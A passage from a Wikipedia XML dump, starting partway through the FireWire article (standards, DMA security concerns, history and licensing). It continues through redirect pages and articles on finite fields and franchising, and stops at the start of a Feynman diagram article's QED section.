FireWire 800 (Apple's name for the 9-pin &quot;S800 bilingual&quot; version of the IEEE1394b standard) was introduced commercially by Apple in [[2003]]. This newer 1394 specification and corresponding products allow a transfer rate of 786.432 [[SI prefix|Mbit/s]] with backwards compatibility to the slower rates and 6-pin connectors of FireWire 400.

&lt;!-- Unsourced image removed: [[Image:99plug_400.jpg|thumb|A 9-Pin FireWire 800 connector]] --&gt;
The full IEEE 1394b specification supports optical connections up to 100 [[metre|metres]] in length and data rates all the way to 3.2 [[SI prefix|Gbit/s]]. Standard category-5 unshielded twisted pair supports 100 [[metre|metres]] at S100, and the new p1394c technology goes all the way to S800. The original 1394 and 1394a standards used [[Data strobe encoding|data/strobe (D/S) encoding]] (called ''legacy mode'') on the signal wires, while 1394b adds a data encoding scheme called [[8B10B]] (also referred to as ''beta mode''). With this new technology, FireWire, which was arguably already slightly faster, is now substantially faster than Hi-Speed [[Universal Serial Bus|USB]].

FireWire devices implement the [[ISO/IEC 13213]] &quot;configuration ROM&quot; model for device configuration and identification, to provide [[plug-and-play]] capability. All FireWire devices are identified by an IEEE [[EUI-64]] unique identifier (an extension of the 48-bit [[Ethernet]] [[MAC address]] format) in addition to well-known codes indicating the type of device and [[Protocol (computing)|protocols]] it supports.

==Networking over FireWire==
FireWire, with the help of software, is well-suited for creating ad-hoc (terminals only, no routers) networks.

[[Linux]], [[Windows XP]] and [[Mac OS X]] are popular [[operating system]]s that include support for networking over FireWire. A network between two computers can be created without a hub, much like the scanner to printer example above. Using one FireWire cable, data can be transferred quickly between the two computers with minimal networking configuration.

==Security issues==
Devices on a FireWire bus can communicate by [[direct memory access]], where a device can use hardware to map internal memory to FireWire's &quot;Physical Memory Space&quot;. The SBP (serial bus protocol) used by FireWire disk drives use this capability to minimize interrupts and buffer copies. In SBP, the initiator (controlling device) sends a request by remotely writing a command into a specified area of the target's FireWire address space. This command usually includes buffer addresses in the initiator's FireWire &quot;Physical Address Space&quot;, which the target is supposed to use for moving I/O data to and from the initiator. 

On many implementations, particularly those like PCs and Macintoshes using the popular [[OHCI]] interface, the mapping between the FireWire &quot;Physical Memory Space&quot; and device physical memory is done in hardware, without operating system intervention. While this enables extremely high-speed and low-latency communication between data sources and sinks without unnecessary copying (such as between a video camera and a software video recording application, or between a disk drive and the application buffers), this can also be a security risk if untrustworthy devices are attached to the bus. For this reason, high-security installations will typically either purchase newer machines that map a [[virtual memory]] space to the FireWire &quot;Physical Memory Space&quot; (such as a G5 Macintosh, or any Sun workstation), disable the [[OHCI]] hardware mapping between FireWire and device memory, physically disable the entire FireWire interface, or do not have FireWire at all.

This feature can also be used to [[debug]] a machine whose operating system has crashed, and in some systems for remote-console operations.

==Node hierarchy==
FireWire devices are organized on the bus in a tree topology. Each device has a unique self-id. One of the nodes is elected root node and always has the highest id. The self-ids are assigned during the self-id process that happens after each bus-reset. The order in which the self-ids are assigned is equivalent to traversing the tree in a [[Depth-first search|depth-first]], post-order manner.

==Hot swap precautions==
Although FireWire devices can be [[Hot swap|hot-swapped]] without powering down equipment, there have been a few reports of cameras being damaged if the pins of the FireWire port are accidentally shorted while swapping. This was especially true for some early Firewire devices. However, modern Firewire devices have eliminated this problem. Furthermore, Firewire 800 ensures even greater safety when hot-swapping.

Because any hot-swappable computer device has a risk of [[short circuit]]ing, a user may wish to power off both the camcorder and computer before connecting a Firewire cable. Commercial grade equipment is less sensitive to being hot-plugged, although care should still be taken with any electronic device.

==History==
According to [[Michael Johas Teener]], original chair and editor of the IEEE 1394 standards document, and technical lead for Apple's FireWire team from [[1990]] until [[1996]]:

The original FireWire project name was &quot;Chefcat&quot;, the name of Michael Teener's favorite coffee cup. The standard connectors used for FireWire are related to the connectors on the venerable [[Nintendo]] [[Game Boy]]. While not especially glamorous, the Game Boy connectors have proven reliable, solid, easy to use and immune to assault by small children. 

FireWire is a trademark of Apple Computer, Inc. The trademark was filed in [[1993]].  The &quot;FireWire&quot; name was chosen by a group of engineers socializing before [[Comdex]] 1993, just before the project was about to go public. [[IBM]], Apple, [[Texas Instruments]], [[Western Digital]], [[Maxtor]] and [[Seagate]] were all showing drives, systems and other various FireWire support technology. The marketing forces behind the FireWire project had originally considered a name like &quot;Performa&quot;. 

FireWire won the &quot;most significant new technology&quot; award from [[Byte Magazine]] at the Comdex 1993 show.

During the period they participated with the IEEE p1394 working group, Apple proposed licensing all of their blocking patents for US$3,000, a one time fee only for &quot;the point of first use&quot; or the [[integrated circuits]] that implement the protocols.  Furthermore, there was a discount if a contribution was made to the IEEE undergraduate scholarship fund. Under that agreement, the IEEE agreed to include the appropriate patents in the standard.

Apple never intended to charge for the use of the name &quot;FireWire&quot;. It could be used by any party signing an agreement to use the name for a product that was compliant with IEEE 1394-1995, the original version of the standard.  [[Steve Jobs]] was convinced that Apple should ask for US$1 per port for the patents that became part of the standard. The argument was that it was consistent with the [[MPEG]] patent fees.

The fallout from charging US$1 per FireWire port was significant, particularly from [[Intel]]. Intel had sunk a great deal of effort into the standard with the improved 1394a-2000 standard being partially based on work contributed by Intel. A group within Intel used this as a reason to drop 1394 support and bring out the improved [[USB 2.0]] instead.

Simultaneously, [[Sony]] and the other backers of the technology noted to Apple that they all had patents too and were entitled to per-port [[royalties]]. Under these circumstances, Apple would have to pay roughly US$15 per port to the other FireWire technology developers. The end result was the creation of the &quot;1394 Licensing Authority&quot;, a body which charges everyone US$0.25 per end-user system (like a car or computer) that uses any 1394 technology.

== See also ==
* [[HAVI]], FireWire to control Audio and Video hardware.
* [[Universal Serial Bus]] (USB)

== External links ==
*[http://www.1394ta.org/ 1394 Trade Association]
*[http://www.mpegla.com/1394/ 1394 LA] MPEG LA administers the rights for patented inventions necessary to implement IEEE 1394.
*[http://www.apple.com/firewire/ Apple FireWire Technology]
*[http://grouper.ieee.org/groups/1394/c/ IEEE p1394c Working Group website]
*[http://www.barefeats.com/usb2.html USB 2.0 vs FireWire] &amp;mdash; performance benchmarks of external drives using Macs
*[http://www.wiebetech.com/pressreleases/FireWirePortFailures.htm ''FireWire Port Failures in Host Computers and Peripheral Devices'' by James Wiebe]
*[http://www.pcworld.com/howto/article/0,aid,14371,00.asp PC World article on IEEE 1394]
*[http://fwdepot.com/firewiredepot/firmware/firmware.html  FireWire Firmware and utilities  by FireWireDepot]
*[http://www.interfacebus.com/Design_Connector_Firewire.html FireWire pinouts]
*[http://www.linux1394.org FireWire support for Linux]

== References ==
* {{cite book | author = IEEE p1394 Working Group | title = IEEE Std 1394-1995 High Performance Serial Bus | publisher = IEEE | year = 1995 | id = ISBN 0-7381-1203-8 }}
* {{cite book | author = IEEE p1394a Working Group | title = IEEE Std 1394a-2000 High Performance Serial Bus - Amendment 1 | publisher = IEEE | year = 2000 | id = ISBN 0-7381-1958-X }}
* {{cite book | author = IEEE p1394b Working Group | title = IEEE Std 1394b-2002 High Performance Serial Bus - Amendment 2 | publisher = IEEE | year = 2002 | id = ISBN 0-7381-3253-5 }}
* {{cite book | author = INCITS T10 Project 1467D | title = Information technology — Serial Bus Protocol 3 (SBP-3) | publisher = ANSI INCITS | year = 2004 | id = ANSI INCITS 375-2004 }}
* {{cite book | first = Don | last = Anderson | title = FireWire System Architecture | publisher = MindShare, Inc. | year = 1999 | id = ISBN 0-201-48535-4 }}

{{FOLDOC}}

[[Category:IEEE standards]]
[[Category:Macintosh internals]]
[[Category:Serial buses]]

[[da:FireWire]]
[[de:FireWire]]
[[eo:IEEE 1394]]
[[es:IEEE 1394]]
[[fi:FireWire]]
[[fr:FireWire]]
[[gl:Firewire]]
[[he:FireWire]]
[[it:FireWire]]
[[ja:IEEE1394]]
[[nl:FireWire]]
[[no:IEEE 1394]]
[[pl:FireWire]]
[[pt:FireWire]]
[[ru:IEEE 1394]]
[[sk:FireWire]]
[[sv:FireWire]]
[[zh:IEEE 1394]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental tone</title>
    <id>11610</id>
    <revision>
      <id>15909347</id>
      <timestamp>2004-04-13T01:47:15Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <comment>#REDIRECT [[Fundamental frequency]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental frequency]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental dimensions</title>
    <id>11611</id>
    <revision>
      <id>15909348</id>
      <timestamp>2002-06-21T11:51:12Z</timestamp>
      <contributor>
        <ip>213.253.40.214</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental unit]]


</text>
    </revision>
  </page>
  <page>
    <title>Fundamental dimensions/Forum</title>
    <id>11614</id>
    <revision>
      <id>15909350</id>
      <timestamp>2002-10-10T17:12:29Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Fundamental unit]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental unit]]</text>
    </revision>
  </page>
  <page>
    <title>Finite field</title>
    <id>11615</id>
    <revision>
      <id>41782059</id>
      <timestamp>2006-03-01T18:37:39Z</timestamp>
      <contributor>
        <ip>142.150.204.138</ip>
      </contributor>
      <comment>/* The first few finite fields */</comment>
      <text xml:space="preserve">In [[abstract algebra]], a '''finite field''' or '''Galois field''' (so named in honor of [[Évariste Galois]]) is a [[field (mathematics)|field]] that contains only finitely many elements. Finite fields are important in [[number theory]], [[algebraic geometry]], [[Galois theory]], [[cryptography]], and [[coding theory]]. The finite fields are completely known, as will be described below.  

== Classification ==

Since every field of [[characteristic (algebra)|characteristic]] 0 contains the [[rational number|rationals]] and is therefore infinite, all finite fields have [[prime number|prime]] characteristic, and hence cardinality ''p''&lt;sup&gt;''n''&lt;/sup&gt; for some prime p and positive integer n (since the field is a vector space over the subfield of cardinality p generated by the element 1).  (As an aside, the converse is not true &amp;mdash; there exist infinite fields of prime characteristic.)

For a prime ''p'', the [[integer|integers]] [[modular arithmetic|modulo]] ''p'' form a field with ''p'' elements, denoted '''Z'''/''p'''''Z''', '''F'''&lt;sub&gt;''p''&lt;/sub&gt; or '''GF'''(''p''). (Sometimes '''Z'''&lt;sub&gt;''p''&lt;/sub&gt; is used, but this can cause confusion with the ring of [[p-adic number|p-adic integers]].) Every field with ''p'' elements is [[isomorphism | isomorphic]] to this one.

If ''q'' = ''p''&lt;sup&gt;''n''&lt;/sup&gt; is a [[prime power]], then there exists [[up to]] isomorphism exactly one field with ''q'' elements, written as '''F'''&lt;sub&gt;''q''&lt;/sub&gt; or '''GF'''(''q''). It can be constructed as follows: find an [[irreducible polynomial]] ''f''(''T'') of degree ''n'' with coefficients in '''GF'''(''p''), then define '''GF'''(''q'') = '''GF'''(''p'')[''T''] / &lt;''f''(''T'')&gt;. Here, '''GF'''(''p'')[''T''] denotes the [[ring (algebra)|ring]] of all [[polynomial|polynomials]] with coefficients in '''GF'''(''p''), &lt;''f''(''T'')&gt; denotes the [[ring ideal]] generated by ''f''(''T''), and the quotient is meant in the sense of [[ring ideal|factor rings]]  - the set of polynomials with coefficients in '''GF'''(''p'') on division by ''f''(''T''). The polynomial ''f''(''T'') can be found by factoring the polynomial ''T''&lt;sup&gt;&amp;nbsp;''q''&lt;/sup&gt;-''T'' over '''GF'''(''p''). The field '''GF'''(''q'') contains '''GF'''(''p'') as a subfield. 

There are no other finite fields.

== Examples ==

The polynomial ''f''(''T'') = ''T''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt; + ''T'' + 1 is irreducible over '''GF'''(2), and '''GF'''(4) = '''GF'''(2)[''T''] / &lt;''T''&lt;sup&gt;2&lt;/sup&gt;+''T''+1&gt; can therefore be written as the set {0, 1, ''t'', ''t''+1} where the multiplication is defined (modularly) by ''t''&lt;sup&gt;2&lt;/sup&gt; + ''t'' + 1 = 0. For example, to determine ''t''&lt;sup&gt;3&lt;/sup&gt;, note that ''t''(''t''&lt;sup&gt;2&lt;/sup&gt; + ''t'' + 1) = 0; so ''t''&lt;sup&gt;3&lt;/sup&gt; + ''t''&lt;sup&gt;2&lt;/sup&gt; + ''t'' = 0, and thus ''t''&lt;sup&gt;3&lt;/sup&gt; + ''t''&lt;sup&gt;2&lt;/sup&gt; + ''t'' + 1 = 1, so ''t''&lt;sup&gt;3&lt;/sup&gt; = 1. Similarly, since the characteristic of the field is 2 - coefficients are in '''GF'''(2), we can calculate powers of ''t'' in this instance by noting first that ''t''&lt;sup&gt;2&lt;/sup&gt;+''t''+1=0, and then ''t''&lt;sup&gt;2&lt;/sup&gt;=''t''+1. Then ''t''&lt;sup&gt;3&lt;/sup&gt; = ''t''(''t''&lt;sup&gt;2&lt;/sup&gt;) = ''t''(''t''+1) = ''t''&lt;sup&gt;2&lt;/sup&gt;+''t'' = (''t''+1)+''t'' = 1 as before. 

In order to find the multiplicative inverse of ''t'' in this field, we have to find a polynomial ''p''(''T'') such that ''T'' * ''p''(''T'') = 1 modulo ''T''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt; + ''T'' + 1. The polynomial ''p''(''T'') = ''T'' + 1 works, and hence 1/''t'' = ''t'' + 1. Note that the field '''GF'''(4) is completely unrelated to the ring '''Z'''&lt;sub&gt;4&lt;/sub&gt; of integers modulo 4.

To construct the field '''GF'''(27), we start with the irreducible polynomial ''T''&lt;sup&gt;&amp;nbsp;3&lt;/sup&gt; + ''T''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt; + ''T'' - 1 over '''GF'''(3). We then have '''GF'''(27) = {''at''&lt;sup&gt;2&lt;/sup&gt; + ''bt'' + ''c'' : ''a'', ''b'', ''c'' in '''GF'''(3)}, where the multiplication is defined by ''t''&lt;sup&gt;&amp;nbsp;3&lt;/sup&gt; + ''t''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt; + ''t'' - 1 = 0, or working from the rearrangement of the above in isolating the ''t''&lt;sup&gt;3&lt;/sup&gt; term.

== Properties and facts ==

If ''F'' is a finite field with ''q'' = ''p''&lt;sup&gt;''n''&lt;/sup&gt; elements (where ''p'' is prime), then 

:''x''&lt;sup&gt;''q''&lt;/sup&gt; = ''x'' 

for all ''x'' in ''F''. Furthermore, the map

:''f'' : ''F'' &amp;rarr; ''F'' 

defined by 

:''f''(''x'') = ''x''&lt;sup&gt;''p''&lt;/sup&gt; 

is [[bijective]] and a [[homomorphism]], and is therefore an [[automorphism]]. It is called the [[Frobenius automorphism]], after [[Ferdinand Georg Frobenius]].
 
The Frobenius automorphism has order ''n'', so that the [[cyclic group]] it generates is the full [[group (mathematics)|group]] of automorphisms of the field.

The field '''GF'''(''p&lt;sup&gt;m&lt;/sup&gt;'') contains a copy of '''GF'''(''p&lt;sup&gt;n&lt;/sup&gt;'') if and only if ''n'' [[divisor|divides]] ''m''. The reason for the if direction is that there exist irreducible polynomials of every degree over '''GF'''(''p&lt;sup&gt;m&lt;/sup&gt;'').

If we actually construct our finite fields in such a fashion that '''GF'''(''p&lt;sup&gt;n&lt;/sup&gt;'') ''is contained in'' '''GF'''(''p&lt;sup&gt;m&lt;/sup&gt;'') whenever ''n'' divides ''m'', then we can form the [[union (set theory)|union]] of all these fields. This union is also a field, albeit an infinite one. It is the [[algebraic closure]] of each of the fields '''GF'''(''p&lt;sup&gt;n&lt;/sup&gt;'').  Even if we don't construct our fields this way, we can still speak of the [[algebraic closure]], but some more delicacy is required in its construction.

== Applications ==

The multiplicative [[group (mathematics)|group]] of every finite field is cyclic, a special case of a theorem mentioned [[Field_%28mathematics%29#Some_first_theorems|here]]  in the article about [[field (mathematics)|fields]]. This means that if ''F'' is a finite field with ''q'' elements, then there always exists an element ''x'' in ''F'' such that 

:''F'' = { 0, 1, ''x'', ''x''&lt;sup&gt;2&lt;/sup&gt;, ..., ''x''&lt;sup&gt;''q''-2&lt;/sup&gt; }.

Unless ''q'' = 2 or 3, the element ''x'' is not unique. If we fix one, then for any non-zero element ''a'' in ''F''&lt;sub&gt;''q''&lt;/sub&gt;, there is a unique integer ''n'' with

:0 &amp;le; ''n'' &amp;le; ''q'' &amp;minus; 2

such that 

:''a'' = ''x''&lt;sup&gt;''n''&lt;/sup&gt;. 

The value of ''n'' for a given ''a'' is called the ''[[discrete logarithm | discrete log]]'' of ''a'' (in the given field, to base ''x''). In practice, although calculating ''x''&lt;sup&gt;''n''&lt;/sup&gt; is relatively trivial given ''n'', finding ''n'' for a given ''a'' is (under current theories) a computationally difficult process, and has many applications in [[cryptography]].

Finite fields also find applications in [[coding theory]]: many codes are constructed as [[linear subspace|subspace]]s of [[vector space]]s over finite fields.

== Some Small finite fields ==

'''GF'''(2):
  
  + | 0 1        · | 0 1
  --+----        --+----
  0 | 0 1        0 | 0 0
  1 | 1 0        1 | 0 1
  

'''GF'''(3):
  
  + | 0 1 2       · | 0 1 2
  --+------       --+------
  0 | 0 1 2       0 | 0 0 0
  1 | 1 2 0       1 | 0 1 2
  2 | 2 0 1       2 | 0 2 1
  

'''GF'''(4):
  
  + | 0 1 A B       · | 0 1 A B
  --+--------       --+--------
  0 | 0 1 A B       0 | 0 0 0 0
  1 | 1 0 B A       1 | 0 1 A B
  A | A B 0 1       A | 0 A B 1
  B | B A 1 0       B | 0 B 1 A

== See also ==

*[[Finite field arithmetic]]

[[Category:Field theory]]

[[de:Endlicher Körper]]
[[es:Cuerpo finito]]
[[fr:Corps fini]]
[[ko:유한체]]
[[he:שדה סופי]]
[[nl:Eindig lichaam]]
[[ja:有限体]]
[[pl:Ciało skończone]]
[[zh:有限域]]</text>
    </revision>
  </page>
  <page>
    <title>Franchising</title>
    <id>11616</id>
    <revision>
      <id>41855085</id>
      <timestamp>2006-03-02T04:13:11Z</timestamp>
      <contributor>
        <username>Bookofjude</username>
        <id>94969</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.191.181.53|203.191.181.53]] to last version by Gwernol</comment>
      <text xml:space="preserve">'''Franchising''' (from the [[French language|French]] for ''free'') is a method of doing business wherein a ''franchisor'' licenses [[trademark]]s and methods of doing business to a ''franchisee'' in exchange for a recurring royalty fee.

According to [[Financial Times]], if sales by US franchise businesses were translated into national product, they would qualify as the 7th largest economy in the world.

==Overview==
The term &quot;franchising&quot; is used to describe a wide variety of business relationships which may or may not fall into the legal definition provided above.  For example, a [[vending machine]] operator may receive a franchise for a particular kind of vending machine, including a trademark and a royalty, but no method of doing business.

The parties involved typically enter a ''franchise agreement,'' which binds the parties together through contractual provisions.  This is an arrangement whereby someone with a good idea for a [[business]] (the ''franchisor''), [[sell]]s the [[right]]s to use the businesses name and sell a [[product (business)|product]] or [[service]] to someone else (the ''franchisee'').  A franchise agreement will usually specify the given territory the franchisee can use as well as the extent to which the franchisee will be supported by the franchisor (e.g. training and [[marketing]] campaigns).  Most franchisee agreements, however, do not provide the franchisee with exclusive control over the given territory.

==Advantages==

As practiced in [[retailing]], franchising offers franchisees the advantage of starting up a new business quickly based on a proven trademark and formula of doing business, as opposed to having to build a new business and brand from scratch (often in the face of aggressive competition from franchise operators).  

As long as their brand and formula are carefully designed and properly executed, franchisors are able to expand their brand very rapidly across countries and continents, and can reap enormous profits in the process, while the franchisees do all the hard work of dealing with customers face-to-face. ''See'' [[customer service]]. Additionally, the franchisor is able to build a captive distribution network, with no or very little financial commitment.

For some consumers, having franchises offer a consistent product or service makes life easier. They know what to expect when entering a franchised establishment.

==Disadvantages==

For franchisees, the main disadvantage of franchising is a loss of control. While they gain the use of a system, trademarks, assistance, training, and marketing, the franchisee is required to follow the system and get approval of changes with the franchisor...

In response to the soaring popularity of franchising, an increasing number of communities are taking steps to limit these chain businesses and reduce displacement of independent businesses through limits on &quot;formula businesses.&quot; [http://www.newrules.org/retail/formula.html]

Another problem is that the franchisor/franchisee relationship can easily give rise to [[litigation]] if either side is incompetent (or just not acting in good faith).  For example, an incompetent franchisee can easily damage the public's [[goodwill]] towards the franchisor's brand by providing inferior goods and services, and an incompetent franchisor can destroy its franchisees by failing to promote the brand properly or by squeezing them too aggressively for profits.

Because litigation is expensive, the majority of franchisors have inserted mandatory [[arbitration]] clauses into their agreements with their franchisees.  Since 1980, the [[U.S. Supreme Court]] has dealt with cases involving direct franchisor/franchisee conflicts at least three times, and two of those cases involved a franchisee who was resisting the franchisor's motion to compel arbitration.  Both of the latter cases involved large, well-known restaurant chains ([[Burger King]] and [[Subway (restaurant)|Subway]]).

==Legal aspects==

In the [[United States]], franchising falls under the jurisdiction of a number of state and federal laws.  Contrary to what might be expected, there is no federal registry of franchising or any federal filing requirements for information, but franchisors are required by the Federal Trade Commission to have a Uniform Franchise Offering Circular to disclose potential franchisees about their purchase. Instead, states are the primary collectors of data on franchising companies, and enforce laws and regulations regarding their spread.

In Russia, under ch. 54 of the Civil Code (passed 1996), franchise agreements are invalid unless written and registered, and franchisors cannot set standards or limits on the prices of the franchisee’s goods. Enforcement of laws and resolution of contractual disputes is a problem: [[Dunkin Donuts]] chose to terminate its contract with Russian franchisees that were selling vodka and meat patties contrary to their contracts, rather than pursue legal remedies.

==History==

Franchising dates back to at least the 1850s.  One early example resulted in the characteristic look of historic hotels (bars) in [[New South Wales]], with franchising agreements between hotels and breweries.  Early American examples include the telegraph system which was operated by various [[railroad]] companies but controlled by [[Western Union]], and exclusive agreements between [[automobile]] manufacturers and operators of local [[dealer]]ships. 

Modern franchising came to prominence with the rise of franchise-based restaurants.  This trend started initially in the [[1930s]] with traditional sit-down restaurants like the early [[Howard Johnson's]], and then exploded in [[1950s]] with the development of [[fast food]] chains, of which [[McDonalds]] has been the most successful worldwide.  Many retail sectors, particularly in the [[United States]], are now dominated by franchising to the point where independently-run operations are the exception rather than the rule.

== External links == 
*[http://www.frandata.com/ FRANdata: The only objective source for information about franchising.  UFOCs, Reports, Lists, Research and Analysis.]
*[http://www.worldfranchising.com/ World Franchising Network: Directory of over 1,000 North American franchises and up-to-date franchise information]
*[http://www.ufocs.com/ Uniform Franchise Offering Circulars (UFOCs): Definitive source of current and historical UFOCs and franchise earnings claims (Item 19s). Over 20,000 UFOCs available]
*[http://www.franchisedirect.com/ news for franchise buyers]
*[http://www.bluemaumau.org/ Blue MauMau: Comprehensive news, stories, events and tools for franchise owners and buyers]
*[http://www.franchisedoctor.blogspot.com/   Franchise Doctor's Blog]

[[Category:Franchises| ]]
[[category:Distribution, retailing, and wholesaling]]
[[Category:Marketing]]
[[Category:Strategic Alliance]]

[[cs:Frenčízing]]
[[de:Franchising]]
[[es:Franquicia]]
[[eo:Franĉizo]]
[[it:Franchising]]
[[lt:Franšizė]]
[[nl:Franchise (ondernemen)]]
[[ja:フランチャイズ]]
[[no:Franchising]]
[[pl:Franczyza]]
[[pt:Franquia]]
[[ru:Коммерческая концессия]]
[[sv:Franchise]]
[[th:แฟรนไชส์]]
[[tr:Franchising]]</text>
    </revision>
  </page>
  <page>
    <title>Feynman diagram</title>
    <id>11617</id>
    <revision>
      <id>41590284</id>
      <timestamp>2006-02-28T09:47:17Z</timestamp>
      <contributor>
        <username>Mac Davis</username>
        <id>131030</id>
      </contributor>
      <comment>add image</comment>
      <text xml:space="preserve">[[Image:Radiate gluon.jpg|thumb|right|In this [[Feynman diagram]], [[electron]]s [[annihilate]] and become a [[quark]]-[[antiquark]] pair.  Then one '''radiates''' a [[gluon]].  (Time goes left to right.)]]
[[Image:Feynman-Diagram.jpg|thumb|right|200px|Feynman diagram of scalar bosons interacting via a gauge boson]]

A '''Feynman diagram''' is a method for performing calculations in [[quantum field theory]], invented by American [[physicist]] [[Richard Feynman]].  They are also (rarely) referred to as ''Stückelberg diagrams'' or (for a subset of special cases) ''penguin diagrams''.

The [[interaction]] between two particles is quantified by the [[cross section (physics) | cross section]] corresponding to their collision.  If this interaction is not too large, i.e. if it can be tackled via [[perturbation theory]], this cross section (or more precisely the corresponding [[Hamiltonian (quantum mechanics) | time evolution operator]], [[propagator]] or [[S matrix]]) can be expressed as a sum of terms (the [[Dyson series]]) which can be described as a short story in time sounding like:
* (once upon a time) two particles were moving freely with some relative speed (one draws two lines --[[ graph theory | edges ]]-- going upwards),
* they met each other (the two lines meet at a first point -- [[vertex (graph theory) | vertex]]),
* took a stroll together on a common path (the lines merge in one vertical line) 
* and, then separated again (second vertex)
* but they realized their speed had changed and they were not really the same anymore (two lines are drawn upwards coming from the last vertex -- maybe in a different style for symbolizing the change experienced by the particles).
And this nice story can be drawn as a diagram (where the evolving time is the upwards direction) which is much easier to remember than the corresponding mathematical formula in the [[Dyson series]].  These diagrams are called '''Feynman diagrams'''.  They are of course meaningful only if the [[Dyson series]] converges fast.  Their easy story telling character and the similarity with the early [[bubble chamber]] experiments have made the Feynman diagrams very popular.

== Motivation and history ==
The problem of calculating [[scattering]] [[Cross section (physics)|cross section]]s in [[particle physics]] reduces to summing over the amplitudes of all possible intermediate states (each corresponding to one term in the [[perturbation theory (quantum mechanics)|perturbation expansion]] which is known as the [[Dyson series]]). These states can be represented by Feynman diagrams, which are much easier to keep track of than frequently tortuous &lt;!-- this word is not a misspelling of &quot;torturous&quot;; it means &quot;convoluted&quot; or &quot;winding&quot; --&gt; calculations.  Feynman showed how to calculate diagram amplitudes using so-called Feynman rules, which can be derived from the system's underlying [[Lagrangian]].  Each internal line corresponds to a factor of the corresponding [[virtual particle]]'s [[propagator]]; each vertex where lines meet gives a factor derived from an interaction term in the Lagrangian, and incoming and outgoing lines provide constraints on [[energy]], [[momentum]] and [[spin (physics)|spin]].  A Feynman diagram is therefore a symbolic notation for the factors appearing in each term of the [[Dyson series]].

However, being a perturbative expansion, [[nonperturbative]] effects do not show up in Feynman diagrams.

In addition to their value as a mathematical technology, Feynman diagrams provide deep physical insight to the nature of particle interactions. Particles interact in every way available; in fact, intermediate virtual particles are allowed to propagate faster than light. (This is due to the [[Uncertainty principle|Heisenberg Uncertainty Principle]] and does not violate [[special relativity|relativity]] for deep reasons; in fact, it helps preserve causality in a relativistic [[spacetime]].) The probability of each final state is then obtained by summing over all such possibilities. This is closely tied to the [[functional integral]] formulation of [[quantum mechanics]], also invented by Feynman&amp;ndash;see [[path integral formulation]].

The naïve application of such calculations often produces diagrams whose amplitudes are [[infinity|infinite]], which is undesirable in a physical theory. The problem is that particle self-interactions are erroneously ignored. The technique of [[renormalization]], pioneered by Feynman, [[Julian Schwinger|Schwinger]], and [[Sin-Itiro Tomonaga|Tomonaga]] compensates for this effect and eliminates the troublesome infinite terms. After such renormalization, calculations using Feynman diagrams often match experimental results with very good accuracy.

Feynman diagram and path integral methods are also used in [[statistical mechanics]].

=== Alternative names ===
[[Murray Gell-Mann]] always referred to Feynman diagrams as '''Stückelberg diagrams''', after a Swiss physicist, [[Ernst Stueckelberg | Ernst Stückelberg]], who devised a similar notation[http://www.theatlantic.com/issues/2000/07/johnson.htm].  

[[John Ellis (physicist)|John Ellis]] was the first to refer to a certain class of Feynman diagrams as '''penguin diagrams''', due in part to their shape, and in part to a legendary bar-room bet with [[Melissa Franklin]] (the loser reportedly had to incorporate the term &quot;penguin&quot; into their next research paper).  [[Thorsten Ohl]]'s paper on generating Feynman diagrams with LaTeX (see the [[#External links|external links]]) illustrates their penguin-like shape.

Historically they were also called Feynman-Dyson diagrams.

== Interpretation ==
Feynman diagrams are really a graphical way of keeping track of [[deWitt notation|deWitt indices]], much like [[Penrose's graphical notation]] for indices in [[multilinear algebra]]. There are several different [[types]] for the indices, one for each field (this depends on how the fields are grouped; for instance, if the up quark field and down quark field are treated as different fields, then there would be different type assigned to both of them but if they are treated as a single multicomponent field with &quot;flavors&quot;, then there would only be one type). The edges, (i.e. [[propagator]]s) are [[tensor]]s of [[rank of a tensor|rank]] (2,0) in deWitt's notation (i.e. with two [[contravariant]] indices and no [[covariant]] indices), while the vertices of degree n are rank n covariant tensors which are [[totally symmetric]] among all bosonic indices of the same type and [[totally antisymmetric]] among all fermionic indices of the same type and the [[tensor contraction|contraction]] of a propagator with a rank n covariant tensor is indicated by an edge incident to a vertex (there is no ambiguity in which &quot;slot&quot; to contract with because the vertices correspond to totally symmetric tensors). The external vertices correspond to the uncontracted [[contravariant]] indices.

A derivation of the Feynman rules using Gaussian [[functional integral]]s is given in the [[functional integral]] article.

Each Feynman diagram on its own does not have a physical significance. It's only the infinite sum over all possible (bubble-free) Feynman diagrams which gives physical results. Unfortunately, this infinite sum is only [[Asymptotic expansion|asymptotically convergent]].

== Mathematical details ==

''See main article: [[Feynman graph]]''

A Feynman diagram can be considered as a [[graph (mathematics)|graph]]. When considering a field composed of particles, the [[edge (graph theory)|edges]] will represent (sections) of particle [[world line]]s; the [[vertex (graph theory)|vertices]] represent virtual [[interaction]]s. Since only certain interactions are permitted, the graph is constrained to have only certain types of vertices. The type of field of an edge is its '''field label'''; the permitted types of interaction are '''interaction labels'''. 

The value of a given diagram can be derived from the graph; the value of the interaction as a whole is gotten by summing over all diagrams.

== Examples ==
[[Image:Exampl2.gif|right]]
===Beta decay===
To the right is the Feynman diagram for [[beta decay]]. The straight lines in the diagrams represent [[fermion]]s, while the wavy line represents virtual [[boson]]s. In this particular case, the diagram is set in the [[manifold]] [[spacetime]], where the y-coordinate is time and the x-coordinate is space; the x-coordinate also represents the &quot;location&quot; for some interaction (think ''collision'') of particles. As time runs along the y-coordinate of the diagram, the [[neutrino]] looks as if it is moving backwards in time; however, that fermion is  normally interpreted not as the particle travelling backwards, but its [[antiparticle]] travelling forwards in time. (There is no mathematical difference between the two concepts.)  Hence the particle labelled ''neutrino'' is, in fact, an antineutrino. This applies to all particles and antiparticles.

===Quantum electrodynamics===
